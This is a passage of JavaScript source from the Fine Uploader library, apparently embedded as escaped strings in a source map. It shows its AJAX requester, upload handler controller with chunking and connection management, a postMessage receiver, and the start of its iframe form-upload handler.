requestData[id].addToPath;\n\n        /*jshint -W116,-W041 */\n        if (addToPath != undefined) {\n            endpoint += \"/\" + addToPath;\n        }\n\n        if (shouldParamsBeInQueryString && params) {\n            endpoint = qq.obj2url(params, endpoint);\n        }\n\n        if (additionalQueryParams) {\n            endpoint = qq.obj2url(additionalQueryParams, endpoint);\n        }\n\n        return endpoint;\n    }\n\n    // Invoked by the UA to indicate a number of possible states that describe\n    // a live `XMLHttpRequest` transport.\n    function getXhrReadyStateChangeHandler(id) {\n        return function() {\n            if (getXhrOrXdr(id).readyState === 4) {\n                onComplete(id);\n            }\n        };\n    }\n\n    function registerForUploadProgress(id) {\n        var onProgress = options.onProgress;\n\n        if (onProgress) {\n            getXhrOrXdr(id).upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    onProgress(id, e.loaded, e.total);\n                }\n            };\n        }\n    }\n\n    // This will be called by IE to indicate **success** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrLoadHandler(id) {\n        return function() {\n            onComplete(id);\n        };\n    }\n\n    // This will be called by IE to indicate **failure** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrErrorHandler(id) {\n        return function() {\n            onComplete(id, true);\n        };\n    }\n\n    function setHeaders(id) {\n        var xhr = getXhrOrXdr(id),\n            customHeaders = options.customHeaders,\n            onDemandHeaders = requestData[id].additionalHeaders || {},\n            method = options.method,\n            allHeaders = {};\n\n        // If XDomainRequest is being used, we can't set headers, so just ignore this block.\n        if (!isXdr(xhr)) {\n            options.acceptHeader && xhr.setRequestHeader(\"Accept\", options.acceptHeader);\n\n            // Only attempt to add X-Requested-With & Cache-Control if permitted\n            if (options.allowXRequestedWithAndCacheControl) {\n                // Do not add X-Requested-With & Cache-Control if this is a cross-origin request\n                // OR the cross-origin request contains a non-simple method or header.\n                // This is done to ensure a preflight is not triggered exclusively based on the\n                // addition of these 2 non-simple headers.\n                if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {\n                    xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n                    xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n                }\n            }\n\n            if (options.contentType && (method === \"POST\" || method === \"PUT\")) {\n                xhr.setRequestHeader(\"Content-Type\", options.contentType);\n            }\n\n            qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);\n            qq.extend(allHeaders, onDemandHeaders);\n\n            qq.each(allHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        }\n    }\n\n    function isResponseSuccessful(responseCode) {\n        return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;\n    }\n\n    function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {\n        requestData[id] = {\n            addToPath: addToPath,\n            additionalParams: additionalParams,\n            additionalQueryParams: additionalQueryParams,\n            additionalHeaders: additionalHeaders,\n            payload: payload\n        };\n\n        var len = queue.push(id);\n\n        // if too many active connections, wait...\n        if (len <= options.maxConnections) {\n            return sendRequest(id, optXhr);\n        }\n    }\n\n    shouldParamsBeInQueryString = options.method === \"GET\" || options.method === \"DELETE\";\n\n    qq.extend(this, {\n        // Start the process of sending the request.  The ID refers to the file associated with the request.\n        initTransport: function(id) {\n            var path, params, headers, payload, cacheBuster, additionalQueryParams;\n\n            return {\n                // Optionally specify the end of the endpoint path for the request.\n                withPath: function(appendToPath) {\n                    path = appendToPath;\n                    return this;\n                },\n\n                // Optionally specify additional parameters to send along with the request.\n                // These will be added to the query string for GET/DELETE requests or the payload\n                // for POST/PUT requests.  The Content-Type of the request will be used to determine\n                // how these parameters should be formatted as well.\n                withParams: function(additionalParams) {\n                    params = additionalParams;\n                    return this;\n                },\n\n                withQueryParams: function(_additionalQueryParams_) {\n                    additionalQueryParams = _additionalQueryParams_;\n                    return this;\n                },\n\n                // Optionally specify additional headers to send along with the request.\n                withHeaders: function(additionalHeaders) {\n                    headers = additionalHeaders;\n                    return this;\n                },\n\n                // Optionally specify a payload/body for the request.\n                withPayload: function(thePayload) {\n                    payload = thePayload;\n                    return this;\n                },\n\n                // Appends a cache buster (timestamp) to the request URL as a query parameter (only if GET or DELETE)\n                withCacheBuster: function() {\n                    cacheBuster = true;\n                    return this;\n                },\n\n                // Send the constructed request.\n                send: function(optXhr) {\n                    if (cacheBuster && qq.indexOf([\"GET\", \"DELETE\"], options.method) >= 0) {\n                        params.qqtimestamp = new Date().getTime();\n                    }\n\n                    return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);\n                }\n            };\n        },\n\n        canceled: function(id) {\n            dequeue(id);\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common upload handler functions.\n *\n * @constructor\n */\nqq.UploadHandler = function(spec) {\n    \"use strict\";\n\n    var proxy = spec.proxy,\n        fileState = {},\n        onCancel = proxy.onCancel,\n        getName = proxy.getName;\n\n    qq.extend(this, {\n        add: function(id, fileItem) {\n            fileState[id] = fileItem;\n            fileState[id].temp = {};\n        },\n\n        cancel: function(id) {\n            var self = this,\n                cancelFinalizationEffort = new qq.Promise(),\n                onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);\n\n            onCancelRetVal.then(function() {\n                if (self.isValid(id)) {\n                    fileState[id].canceled = true;\n                    self.expunge(id);\n                }\n                cancelFinalizationEffort.success();\n            });\n        },\n\n        expunge: function(id) {\n            delete fileState[id];\n        },\n\n        getThirdPartyFileId: function(id) {\n            return fileState[id].key;\n        },\n\n        isValid: function(id) {\n            return fileState[id] !== undefined;\n        },\n\n        reset: function() {\n            fileState = {};\n        },\n\n        _getFileState: function(id) {\n            return fileState[id];\n        },\n\n        _setThirdPartyFileId: function(id, thirdPartyFileId) {\n            fileState[id].key = thirdPartyFileId;\n        },\n\n        _wasCanceled: function(id) {\n            return !!fileState[id].canceled;\n        }\n    });\n};\n","/*globals qq*/\n/**\n * Base upload handler module.  Controls more specific handlers.\n *\n * @param o Options.  Passed along to the specific handler submodule as well.\n * @param namespace [optional] Namespace for the specific handler.\n */\nqq.UploadHandlerController = function(o, namespace) {\n    \"use strict\";\n\n    var controller = this,\n        chunkingPossible = false,\n        concurrentChunkingPossible = false,\n        chunking, preventRetryResponse, log, handler,\n\n    options = {\n        paramsStore: {},\n        maxConnections: 3, // maximum number of concurrent uploads\n        chunking: {\n            enabled: false,\n            multiple: {\n                enabled: false\n            }\n        },\n        log: function(str, level) {},\n        onProgress: function(id, fileName, loaded, total) {},\n        onComplete: function(id, fileName, response, xhr) {},\n        onCancel: function(id, fileName) {},\n        onUploadPrep: function(id) {}, // Called if non-trivial operations will be performed before onUpload\n        onUpload: function(id, fileName) {},\n        onUploadChunk: function(id, fileName, chunkData) {},\n        onUploadChunkSuccess: function(id, chunkData, response, xhr) {},\n        onAutoRetry: function(id, fileName, response, xhr) {},\n        onResume: function(id, fileName, chunkData) {},\n        onUuidChanged: function(id, newUuid) {},\n        getName: function(id) {},\n        setSize: function(id, newSize) {},\n        isQueued: function(id) {},\n        getIdsInProxyGroup: function(id) {},\n        getIdsInBatch: function(id) {}\n    },\n\n    chunked = {\n        // Called when each chunk has uploaded successfully\n        done: function(id, chunkIdx, response, xhr) {\n            var chunkData = handler._getChunkData(id, chunkIdx);\n\n            handler._getFileState(id).attemptingResume = false;\n\n            delete handler._getFileState(id).temp.chunkProgress[chunkIdx];\n            handler._getFileState(id).loaded += chunkData.size;\n\n            options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);\n        },\n\n        // Called when all chunks have been successfully uploaded and we want to ask the handler to perform any\n        // logic associated with closing out the file, such as combining the chunks.\n        finalize: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id);\n\n            log(\"All chunks have been uploaded for \" + id + \" - finalizing....\");\n            handler.finalizeChunks(id).then(\n                function(response, xhr) {\n                    log(\"Finalize successful for \" + id);\n\n                    var normaizedResponse = upload.normalizeResponse(response, true);\n\n                    options.onProgress(id, name, size, size);\n                    handler._maybeDeletePersistedChunkData(id);\n                    upload.cleanup(id, normaizedResponse, xhr);\n                },\n                function(response, xhr) {\n                    var normaizedResponse = upload.normalizeResponse(response, false);\n\n                    log(\"Problem finalizing chunks for file ID \" + id + \" - \" + normaizedResponse.error, \"error\");\n\n                    if (normaizedResponse.reset) {\n                        chunked.reset(id);\n                    }\n\n                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {\n                        upload.cleanup(id, normaizedResponse, xhr);\n                    }\n                }\n            );\n        },\n\n        hasMoreParts: function(id) {\n            return !!handler._getFileState(id).chunking.remaining.length;\n        },\n\n        nextPart: function(id) {\n            var nextIdx = handler._getFileState(id).chunking.remaining.shift();\n\n            if (nextIdx >= handler._getTotalChunks(id)) {\n                nextIdx = null;\n            }\n\n            return nextIdx;\n        },\n\n        reset: function(id) {\n            log(\"Server or callback has ordered chunking effort to be restarted on next attempt for item ID \" + id, \"error\");\n\n            handler._maybeDeletePersistedChunkData(id);\n            handler.reevaluateChunking(id);\n            handler._getFileState(id).loaded = 0;\n        },\n\n        sendNext: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id),\n                chunkIdx = chunked.nextPart(id),\n                chunkData = handler._getChunkData(id, chunkIdx),\n                resuming = handler._getFileState(id).attemptingResume,\n                inProgressChunks = handler._getFileState(id).chunking.inProgress || [];\n\n            if (handler._getFileState(id).loaded == null) {\n                handler._getFileState(id).loaded = 0;\n            }\n\n            // Don't follow-through with the resume attempt if the integrator returns false from onResume\n            if (resuming && options.onResume(id, name, chunkData) === false) {\n                chunked.reset(id);\n                chunkIdx = chunked.nextPart(id);\n                chunkData = handler._getChunkData(id, chunkIdx);\n                resuming = false;\n            }\n\n            // If all chunks have already uploaded successfully, we must be re-attempting the finalize step.\n            if (chunkIdx == null && inProgressChunks.length === 0) {\n                chunked.finalize(id);\n            }\n\n            // Send the next chunk\n            else {\n                log(qq.format(\"Sending chunked upload request for item {}.{}, bytes {}-{} of {}.\", id, chunkIdx, chunkData.start + 1, chunkData.end, size));\n                options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));\n                inProgressChunks.push(chunkIdx);\n                handler._getFileState(id).chunking.inProgress = inProgressChunks;\n\n                if (concurrentChunkingPossible) {\n                    connectionManager.open(id, chunkIdx);\n                }\n\n                if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {\n                    chunked.sendNext(id);\n                }\n\n                handler.uploadChunk(id, chunkIdx, resuming).then(\n                    // upload chunk success\n                    function success(response, xhr) {\n                        log(\"Chunked upload request succeeded for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [],\n                            responseToReport = upload.normalizeResponse(response, true),\n                            inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);\n\n                        log(qq.format(\"Chunk {} for file {} uploaded successfully.\", chunkIdx, id));\n\n                        chunked.done(id, chunkIdx, responseToReport, xhr);\n\n                        if (inProgressChunkIdx >= 0) {\n                            inProgressChunks.splice(inProgressChunkIdx, 1);\n                        }\n\n                        handler._maybePersistChunkedState(id);\n\n                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {\n                            chunked.finalize(id);\n                        }\n                        else if (chunked.hasMoreParts(id)) {\n                            chunked.sendNext(id);\n                        }\n                        else {\n                            log(qq.format(\"File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}\", id, JSON.stringify(inProgressChunks)));\n                        }\n                    },\n\n                    // upload chunk failure\n                    function failure(response, xhr) {\n                        log(\"Chunked upload request failed for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var responseToReport = upload.normalizeResponse(response, false),\n                            inProgressIdx;\n\n                        if (responseToReport.reset) {\n                            chunked.reset(id);\n                        }\n                        else {\n                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);\n                            if (inProgressIdx >= 0) {\n                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);\n                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);\n                            }\n                        }\n\n                        // We may have aborted all other in-progress chunks for this file due to a failure.\n                        // If so, ignore the failures associated with those aborts.\n                        if (!handler._getFileState(id).temp.ignoreFailure) {\n                            // If this chunk has failed, we want to ignore all other failures of currently in-progress\n                            // chunks since they will be explicitly aborted\n                            if (concurrentChunkingPossible) {\n                                handler._getFileState(id).temp.ignoreFailure = true;\n\n                                log(qq.format(\"Going to attempt to abort these chunks: {}. These are currently in-progress: {}.\", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));\n                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {\n                                    log(qq.format(\"Attempting to abort file {}.{}. XHR readyState {}. \", id, ckid, ckXhr.readyState));\n                                    ckXhr.abort();\n                                    // Flag the transport, in case we are waiting for some other async operation\n                                    // to complete before attempting to upload the chunk\n                                    ckXhr._cancelled = true;\n                                });\n\n                                // We must indicate that all aborted chunks are no longer in progress\n                                handler.moveInProgressToRemaining(id);\n\n                                // Free up any connections used by these chunks, but don't allow any\n                                // other files to take up the connections (until we have exhausted all auto-retries)\n                                connectionManager.free(id, true);\n                            }\n\n                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {\n                                // If one chunk fails, abort all of the others to avoid odd race conditions that occur\n                                // if a chunk succeeds immediately after one fails before we have determined if the upload\n                                // is a failure or not.\n                                upload.cleanup(id, responseToReport, xhr);\n                            }\n                        }\n                    }\n                )\n                    .done(function() {\n                        handler.clearXhr(id, chunkIdx);\n                    });\n            }\n        }\n    },\n\n    connectionManager = {\n        _open: [],\n        _openChunks: {},\n        _waiting: [],\n\n        available: function() {\n            var max = options.maxConnections,\n                openChunkEntriesCount = 0,\n                openChunksCount = 0;\n\n            qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {\n                openChunkEntriesCount++;\n                openChunksCount += openChunkIndexes.length;\n            });\n\n            return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);\n        },\n\n        /**\n         * Removes element from queue, starts upload of next\n         */\n        free: function(id, dontAllowNext) {\n            var allowNext = !dontAllowNext,\n                waitingIndex = qq.indexOf(connectionManager._waiting, id),\n                connectionsIndex = qq.indexOf(connectionManager._open, id),\n                nextId;\n\n            delete connectionManager._openChunks[id];\n\n            if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {\n                log(\"Generated blob upload has ended for \" + id + \", disposing generated blob.\");\n                delete handler._getFileState(id).file;\n            }\n\n            // If this file was not consuming a connection, it was just waiting, so remove it from the waiting array\n            if (waitingIndex >= 0) {\n                connectionManager._waiting.splice(waitingIndex, 1);\n            }\n            // If this file was consuming a connection, allow the next file to be uploaded\n            else if (allowNext && connectionsIndex >= 0) {\n                connectionManager._open.splice(connectionsIndex, 1);\n\n                nextId = connectionManager._waiting.shift();\n                if (nextId >= 0) {\n                    connectionManager._open.push(nextId);\n                    upload.start(nextId);\n                }\n            }\n        },\n\n        getWaitingOrConnected: function() {\n            var waitingOrConnected = [];\n\n            // Chunked files may have multiple connections open per chunk (if concurrent chunking is enabled)\n            // We need to grab the file ID of any file that has at least one chunk consuming a connection.\n            qq.each(connectionManager._openChunks, function(fileId, chunks) {\n                if (chunks && chunks.length) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // For non-chunked files, only one connection will be consumed per file.\n            // This is where we aggregate those file IDs.\n            qq.each(connectionManager._open, function(idx, fileId) {\n                if (!connectionManager._openChunks[fileId]) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // There may be files waiting for a connection.\n            waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);\n\n            return waitingOrConnected;\n        },\n\n        isUsingConnection: function(id) {\n            return qq.indexOf(connectionManager._open, id) >= 0;\n        },\n\n        open: function(id, chunkIdx) {\n            if (chunkIdx == null) {\n                connectionManager._waiting.push(id);\n            }\n\n            if (connectionManager.available()) {\n                if (chunkIdx == null) {\n                    connectionManager._waiting.pop();\n                    connectionManager._open.push(id);\n                }\n                else {\n                    (function() {\n                        var openChunksEntry = connectionManager._openChunks[id] || [];\n                        openChunksEntry.push(chunkIdx);\n                        connectionManager._openChunks[id] = openChunksEntry;\n                    }());\n                }\n\n                return true;\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            connectionManager._waiting = [];\n            connectionManager._open = [];\n        }\n    },\n\n    simple = {\n        send: function(id, name) {\n            handler._getFileState(id).loaded = 0;\n\n            log(\"Sending simple upload request for \" + id);\n            handler.uploadFile(id).then(\n                function(response, optXhr) {\n                    log(\"Simple upload request succeeded for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, true),\n                        size = options.getSize(id);\n\n                    options.onProgress(id, name, size, size);\n                    upload.maybeNewUuid(id, responseToReport);\n                    upload.cleanup(id, responseToReport, optXhr);\n                },\n\n                function(response, optXhr) {\n                    log(\"Simple upload request failed for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, false);\n\n                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {\n                        upload.cleanup(id, responseToReport, optXhr);\n                    }\n                }\n            );\n        }\n    },\n\n    upload = {\n        cancel: function(id) {\n            log(\"Cancelling \" + id);\n            options.paramsStore.remove(id);\n            connectionManager.free(id);\n        },\n\n        cleanup: function(id, response, optXhr) {\n            var name = options.getName(id);\n\n            options.onComplete(id, name, response, optXhr);\n\n            if (handler._getFileState(id)) {\n                handler._clearXhrs && handler._clearXhrs(id);\n            }\n\n            connectionManager.free(id);\n        },\n\n        // Returns a qq.BlobProxy, or an actual File/Blob if no proxy is involved, or undefined\n        // if none of these are available for the ID\n        getProxyOrBlob: function(id) {\n            return (handler.getProxy && handler.getProxy(id)) ||\n                (handler.getFile && handler.getFile(id));\n        },\n\n        initHandler: function() {\n            var handlerType = namespace ? qq[namespace] : qq.traditional,\n                handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? \"Xhr\" : \"Form\";\n\n            handler = new handlerType[handlerModuleSubtype + \"UploadHandler\"](\n                options,\n                {\n                    getDataByUuid: options.getDataByUuid,\n                    getName: options.getName,\n                    getSize: options.getSize,\n                    getUuid: options.getUuid,\n                    log: log,\n                    onCancel: options.onCancel,\n                    onProgress: options.onProgress,\n                    onUuidChanged: options.onUuidChanged\n                }\n            );\n\n            if (handler._removeExpiredChunkingRecords) {\n                handler._removeExpiredChunkingRecords();\n            }\n        },\n\n        isDeferredEligibleForUpload: function(id) {\n            return options.isQueued(id);\n        },\n\n        // For Blobs that are part of a group of generated images, along with a reference image,\n        // this will ensure the blobs in the group are uploaded in the order they were triggered,\n        // even if some async processing must be completed on one or more Blobs first.\n        maybeDefer: function(id, blob) {\n            // If we don't have a file/blob yet & no file/blob exists for this item, request it,\n            // and then submit the upload to the specific handler once the blob is available.\n            // ASSUMPTION: This condition will only ever be true if XHR uploading is supported.\n            if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {\n\n                // Blob creation may take some time, so the caller may want to update the\n                // UI to indicate that an operation is in progress, even before the actual\n                // upload begins and an onUpload callback is invoked.\n                options.onUploadPrep(id);\n\n                log(\"Attempting to generate a blob on-demand for \" + id);\n                blob.create().then(function(generatedBlob) {\n                    log(\"Generated an on-demand blob for \" + id);\n\n                    // Update record associated with this file by providing the generated Blob\n                    handler.updateBlob(id, generatedBlob);\n\n                    // Propagate the size for this generated Blob\n                    options.setSize(id, generatedBlob.size);\n\n                    // Order handler to recalculate chunking possibility, if applicable\n                    handler.reevaluateChunking(id);\n\n                    upload.maybeSendDeferredFiles(id);\n                },\n\n                // Blob could not be generated.  Fail the upload & attempt to prevent retries.  Also bubble error message.\n                function(errorMessage) {\n                    var errorResponse = {};\n\n                    if (errorMessage) {\n                        errorResponse.error = errorMessage;\n                    }\n\n                    log(qq.format(\"Failed to generate blob for ID {}.  Error message: {}.\", id, errorMessage), \"error\");\n\n                    options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);\n                    upload.maybeSendDeferredFiles(id);\n                    connectionManager.free(id);\n                });\n            }\n            else {\n                return upload.maybeSendDeferredFiles(id);\n            }\n\n            return false;\n        },\n\n        // Upload any grouped blobs, in the proper order, that are ready to be uploaded\n        maybeSendDeferredFiles: function(id) {\n            var idsInGroup = options.getIdsInProxyGroup(id),\n                uploadedThisId = false;\n\n            if (idsInGroup && idsInGroup.length) {\n                log(\"Maybe ready to upload proxy group file \" + id);\n\n                qq.each(idsInGroup, function(idx, idInGroup) {\n                    if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {\n                        uploadedThisId = idInGroup === id;\n                        upload.now(idInGroup);\n                    }\n                    else if (upload.isDeferredEligibleForUpload(idInGroup)) {\n                        return false;\n                    }\n                });\n            }\n            else {\n                uploadedThisId = true;\n                upload.now(id);\n            }\n\n            return uploadedThisId;\n        },\n\n        maybeNewUuid: function(id, response) {\n            if (response.newUuid !== undefined) {\n                options.onUuidChanged(id, response.newUuid);\n            }\n        },\n\n        // The response coming from handler implementations may be in various formats.\n        // Instead of hoping a promise nested 5 levels deep will always return an object\n        // as its first param, let's just normalize the response here.\n        normalizeResponse: function(originalResponse, successful) {\n            var response = originalResponse;\n\n            // The passed \"response\" param may not be a response at all.\n            // It could be a string, detailing the error, for example.\n            if (!qq.isObject(originalResponse)) {\n                response = {};\n\n                if (qq.isString(originalResponse) && !successful) {\n                    response.error = originalResponse;\n                }\n            }\n\n            response.success = successful;\n\n            return response;\n        },\n\n        now: function(id) {\n            var name = options.getName(id);\n\n            if (!controller.isValid(id)) {\n                throw new qq.Error(id + \" is not a valid file ID to upload!\");\n            }\n\n            options.onUpload(id, name);\n\n            if (chunkingPossible && handler._shouldChunkThisFile(id)) {\n                chunked.sendNext(id);\n            }\n            else {\n                simple.send(id, name);\n            }\n        },\n\n        start: function(id) {\n            var blobToUpload = upload.getProxyOrBlob(id);\n\n            if (blobToUpload) {\n                return upload.maybeDefer(id, blobToUpload);\n            }\n            else {\n                upload.now(id);\n                return true;\n            }\n        }\n    };\n\n    qq.extend(this, {\n        /**\n         * Adds file or file input to the queue\n         **/\n        add: function(id, file) {\n            handler.add.apply(this, arguments);\n        },\n\n        /**\n         * Sends the file identified by id\n         */\n        upload: function(id) {\n            if (connectionManager.open(id)) {\n                return upload.start(id);\n            }\n            return false;\n        },\n\n        retry: function(id) {\n            // On retry, if concurrent chunking has been enabled, we may have aborted all other in-progress chunks\n            // for a file when encountering a failed chunk upload.  We then signaled the controller to ignore\n            // all failures associated with these aborts.  We are now retrying, so we don't want to ignore\n            // any more failures at this point.\n            if (concurrentChunkingPossible) {\n                handler._getFileState(id).temp.ignoreFailure = false;\n            }\n\n            // If we are attempting to retry a file that is already consuming a connection, this is likely an auto-retry.\n            // Just go ahead and ask the handler to upload again.\n            if (connectionManager.isUsingConnection(id)) {\n                return upload.start(id);\n            }\n\n            // If we are attempting to retry a file that is not currently consuming a connection,\n            // this is likely a manual retry attempt.  We will need to ensure a connection is available\n            // before the retry commences.\n            else {\n                return controller.upload(id);\n            }\n        },\n\n        /**\n         * Cancels file upload by id\n         */\n        cancel: function(id) {\n            var cancelRetVal = handler.cancel(id);\n\n            if (qq.isGenericPromise(cancelRetVal)) {\n                cancelRetVal.then(function() {\n                    upload.cancel(id);\n                });\n            }\n            else if (cancelRetVal !== false) {\n                upload.cancel(id);\n            }\n        },\n\n        /**\n         * Cancels all queued or in-progress uploads\n         */\n        cancelAll: function() {\n            var waitingOrConnected = connectionManager.getWaitingOrConnected(),\n                i;\n\n            // ensure files are cancelled in reverse order which they were added\n            // to avoid a flash of time where a queued file begins to upload before it is canceled\n            if (waitingOrConnected.length) {\n                for (i = waitingOrConnected.length - 1; i >= 0; i--) {\n                    controller.cancel(waitingOrConnected[i]);\n                }\n            }\n\n            connectionManager.reset();\n        },\n\n        // Returns a File, Blob, or the Blob/File for the reference/parent file if the targeted blob is a proxy.\n        // Undefined if no file record is available.\n        getFile: function(id) {\n            if (handler.getProxy && handler.getProxy(id)) {\n                return handler.getProxy(id).referenceBlob;\n            }\n\n            return handler.getFile && handler.getFile(id);\n        },\n\n        // Returns true if the Blob associated with the ID is related to a proxy s\n        isProxied: function(id) {\n            return !!(handler.getProxy && handler.getProxy(id));\n        },\n\n        getInput: function(id) {\n            if (handler.getInput) {\n                return handler.getInput(id);\n            }\n        },\n\n        reset: function() {\n            log(\"Resetting upload handler\");\n            controller.cancelAll();\n            connectionManager.reset();\n            handler.reset();\n        },\n\n        expunge: function(id) {\n            if (controller.isValid(id)) {\n                return handler.expunge(id);\n            }\n        },\n\n        /**\n         * Determine if the file exists.\n         */\n        isValid: function(id) {\n            return handler.isValid(id);\n        },\n\n        getResumableFilesData: function() {\n            if (handler.getResumableFilesData) {\n                return handler.getResumableFilesData();\n            }\n            return [];\n        },\n\n        /**\n         * This may or may not be implemented, depending on the handler.  For handlers where a third-party ID is\n         * available (such as the \"key\" for Amazon S3), this will return that value.  Otherwise, the return value\n         * will be undefined.\n         *\n         * @param id Internal file ID\n         * @returns {*} Some identifier used by a 3rd-party service involved in the upload process\n         */\n        getThirdPartyFileId: function(id) {\n            if (controller.isValid(id)) {\n                return handler.getThirdPartyFileId(id);\n            }\n        },\n\n        /**\n         * Attempts to pause the associated upload if the specific handler supports this and the file is \"valid\".\n         * @param id ID of the upload/file to pause\n         * @returns {boolean} true if the upload was paused\n         */\n        pause: function(id) {\n            if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {\n                connectionManager.free(id);\n                handler.moveInProgressToRemaining(id);\n                return true;\n            }\n            return false;\n        },\n\n        // True if the file is eligible for pause/resume.\n        isResumable: function(id) {\n            return !!handler.isResumable && handler.isResumable(id);\n        }\n    });\n\n    qq.extend(options, o);\n    log = options.log;\n    chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;\n    concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;\n\n    preventRetryResponse = (function() {\n        var response = {};\n\n        response[options.preventRetryParam] = true;\n\n        return response;\n    }());\n\n    upload.initHandler();\n};\n","/*globals qq */\n/*jshint -W117 */\nqq.WindowReceiveMessage = function(o) {\n    \"use strict\";\n\n    var options = {\n            log: function(message, level) {}\n        },\n        callbackWrapperDetachers = {};\n\n    qq.extend(options, o);\n\n    qq.extend(this, {\n        receiveMessage: function(id, callback) {\n            var onMessageCallbackWrapper = function(event) {\n                    callback(event.data);\n                };\n\n            if (window.postMessage) {\n                callbackWrapperDetachers[id] = qq(window).attach(\"message\", onMessageCallbackWrapper);\n            }\n            else {\n                log(\"iframe message passing not supported in this browser!\", \"error\");\n            }\n        },\n\n        stopReceivingMessages: function(id) {\n            if (window.postMessage) {\n                var detacher = callbackWrapperDetachers[id];\n                if (detacher) {\n                    detacher();\n                }\n            }\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common APIs exposed to creators of upload via form/iframe handlers.  This is reused and possibly overridden\n * in some cases by specific form upload handlers.\n *\n * @constructor\n */\nqq.FormUploadHandler = function(spec) {\n    \"use strict\";\n\n    var options = spec.options,\n        handler = this,\n        proxy = spec.proxy,\n        formHandlerInstanceId = qq.getUniqueId(),\n        onloadCallbacks = {},\n        detachLoadEvents = {},\n        postMessageCallbackTimers = {},\n        isCors = options.isCors,\n        inputName = options.inputName,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        corsMessageReceiver = new qq.WindowReceiveMessage({log: log});\n\n    /**\n     * Remove any trace of the file from the handler.\n     *\n     * @param id ID of the associated file\n     */\n    function expungeFile(id) {\n        delete detachLoadEvents[id];\n\n        // If we are dealing with CORS, we might still be waiting for a response from a loaded iframe.\n        // In that case, terminate the timer waiting for a message from the loaded iframe\n        // and stop listening for any more messages coming from this iframe.\n        if (isCors) {\n            clearTimeout(postMessageCallbackTimers[id]);\n            delete postMessageCallbackTimers[id];\n            corsMessageReceiver.stopReceivingMessages(id);\n        }\n\n        var iframe = document.getElementById(handler._getIframeName(id));\n        if (iframe) {\n            // To cancel request set src to something else.  We use src=\"javascript:false;\"\n            // because it doesn't trigger ie6 prompt on https\n            /* jshint scripturl:true */\n            iframe.setAttribute(\"src\", \"javascript:false;\");\n\n            qq(iframe).remove();\n        }\n    }\n\n    /**\n     * @param iframeName `document`-unique Name of the associated iframe\n     * @returns {*} ID of the associated file\n     */\n    function getFileIdForIframeName(iframeName) {\n        return iframeName.split(\"_\")[0];\n    }\n\n    /**\n     * Generates an iframe to be used as a target for upload-related form submits.  This also adds the iframe\n     * to the current `document`.  Note that the iframe is hidden from view.\n     *\n     * @param name Name of the iframe.\n     * @returns {HTMLIFrameElement} The created iframe\n     */\n    function initIframeForUpload(name) {\n        var iframe = qq.toElement(\"<iframe src='javascript:false;' name='\" + name + \"' />\");\n\n        iframe.setAttribute(\"id\", name);\n\n        iframe.style.display = \"none\";\n        document.body.appendChild(iframe);\n\n        return iframe;\n    }\n\n    /**\n     * If we are in CORS mode, we must listen for messages (containing the server response) from the associated\n     * iframe, since we cannot directly parse the content of the iframe due to cross-origin restrictions.\n     *\n     * @param iframe Listen for messages on this iframe.\n     * @param callback Invoke this callback with the message from the iframe.\n     */\n    function registerPostMessageCallback(iframe, callback) {\n        var iframeName = iframe.id,\n            fileId = getFileIdForIframeName(iframeName),\n            uuid = getUuid(fileId);\n\n        onloadCallbacks[uuid] = callback;\n\n        // When the iframe has loaded (after the server responds to an upload request)\n        // declare the attempt a failure if we don't receive a valid message shortly after the response comes in.\n        detachLoadEvents[fileId] = qq(iframe).attach(\"load\", function() {\n            if (handler.getInput(fileId)) {\n                log(\"Received iframe load event for CORS 